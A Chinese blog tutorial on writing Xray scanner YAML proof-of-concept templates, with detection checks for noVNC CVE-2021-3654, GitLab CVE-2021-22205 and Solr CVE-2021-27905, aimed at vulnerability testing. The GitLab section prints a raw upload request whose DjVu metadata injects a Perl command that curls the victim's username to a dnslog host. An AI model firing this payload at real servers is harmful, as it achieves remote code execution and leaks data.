如何编写Xray的POC的
Xray编写提交Poc
引言
自从xray更新了1.8.1之后,在某内部群里,某牛发了破解版
虽然我一直用的也是破解版的Burpsuite,但是对于这种使用破解版本的行为,我肯定拒绝。
难道我们就不能用上高级版吗。提交4个poc就可以换2年啊。
那不是有手就行。搞起。
编写相关文档
先学习下相关文档,大家挨个看一遍就行,有个印象即可,不用死记硬背。后台回复:xray,获取文档链接
如何编写YAML格式POC
POC语法V2版
如何编写高质量的 poc
BugScan 插件开发文档
插件辅助(随便看看)
目前只发现有2款插件。
“P牛以前开源的,有点老,很多语法已经不支持XRay-POC辅助生成工具
”
“插件看看学习就好pocassist,兼容xraypocassist是一个 Golang 编写的全新开源漏洞测试框架
”
插件编写
官方公布最基础的POC如下
name: poc-yaml-example-com # 脚本部分 transport: http rules: r1: request: method: GET path: "/" expression: | response.status==200 && response.body.bcontains(b'Example Domain') expression: r1() # 信息部分 detail: author: name(link) links: - http://example.com
编写编辑器
参考:https://docs.xray.cool/#/guide/poc?id=vscode
poc实践
CVE-2021-3654
“路径处理出了问题,网站域名加上//example.com/%2f..即可进行url跳转
”
直接get请求,所以poc很简单,有手就行。
name: poc-yaml-novnc-url-redirection-cve-2021-3654 manual: true transport: http rules: - method: GET path: "//baidu.com/%2f.." follow_redirects: false expression: | response.headers['location']=="//baidu.com/%2f../" detail: author: txf(https://github.com/tangxiaofeng7) links: - https://seclists.org/oss-sec/2021/q3/188
CVE-2021-22205
“、exiftool解析造成的rce 一共发送2个请求
”
请求1:
GET /users/sign_in HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close
获取csrf-token
请求2:
POST /uploads/user HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 X-CSRF-Token: xxx== Cookie: xx Content-Length: 879 ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg AT&TFORM���DJVMDIRM���.�����F������� !ȑN� �ڈ�k�D,q�I�n����"?FORM���^DJVUINFO��� ���d��INCL���shared_anno.iff�BG44����J�����7�*��BG44�����BG44��� FORM��DJVIANTa��P(metadata (Copyright "\ " . qx{curl `whoami`.dnslog.cn} . \ " b ") ) ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
上传图片触发rce。
由于xray目前支持的编码解码有限,不支持hex解码,所以我们直接写的简单点,使用随机字符进行判断,poc很简单,有手就行。
name: poc-yaml-gitlab-cve-2021-22205-rce set: r1: randomInt(1, 9999) r2: randomInt(1, 9999) manual: true transport: http rules: - method: GET path: "/users/sign_in" expression: response.status == 200 search: >- name="csrf-token" content="(?P<token>.+?)" - method: POST path: "/uploads/user" headers: X-CSRF-Token: |- {{token}} Content-Type: |- multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 Accept: "*/*" body: |- ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg" Content-Type: image/jpeg {{r2}} ------WebKitFormBoundaryIMv3mxRg59TkFSX5-- expression: response.body.bcontains(b'Failed to process image') detail: author: txf(https://github.com/tangxiaofeng7) links: - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released
CVE-2021-27905
“这是SSRF漏洞,需要使用反连平台,加上reverse的即可,官方写的很详细了。所以poc很简单,有手就行。
”
name: poc-yaml-solr-cve-2021-27905-ssrf manual: true transport: http set: reverse: newReverse() reverseURL: reverse.url rules: - method: GET path: "/solr/admin/cores?indexInfo=false&wt=json" expression: | response.status == 200 search: >- "name":"(?P<name>.+?)" - method: POST path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}" expression: | reverse.wait(5) detail: author: txf(https://github.com/tangxiaofeng7) links: - https://github.com/murataydemir/CVE-2021-27905
poc验证
一般是漏洞验证和格式验证:漏洞验证,使用命令:
./xray_darwin_amd64 webscan --plugins phantasm --poc "xxx.yml" --url http://xxx
格式验证,推荐使用yamllint去验证下poc是否存在问题,否则即使poc可以正常验证漏洞,提交了也会被提示错误的。
当然如果你使用了编辑器来编写,基本不会有什么问题,因为它会帮你自动格式化,很方便。
xray也携带了参数poclint,吐槽下,应该存在bug,感觉不太好用.使用命令。
./xray_darwin_amd64 poclint --script "/Users/txf/poc/*"
yamlint的更简单,使用命令
yamllint xxx.yml
尾声
然后用git克隆了下仓库(https://github.com/chaitin/xray),每个poc建一个分支进行pull即可。很简单,有手就行。
等待审核即可。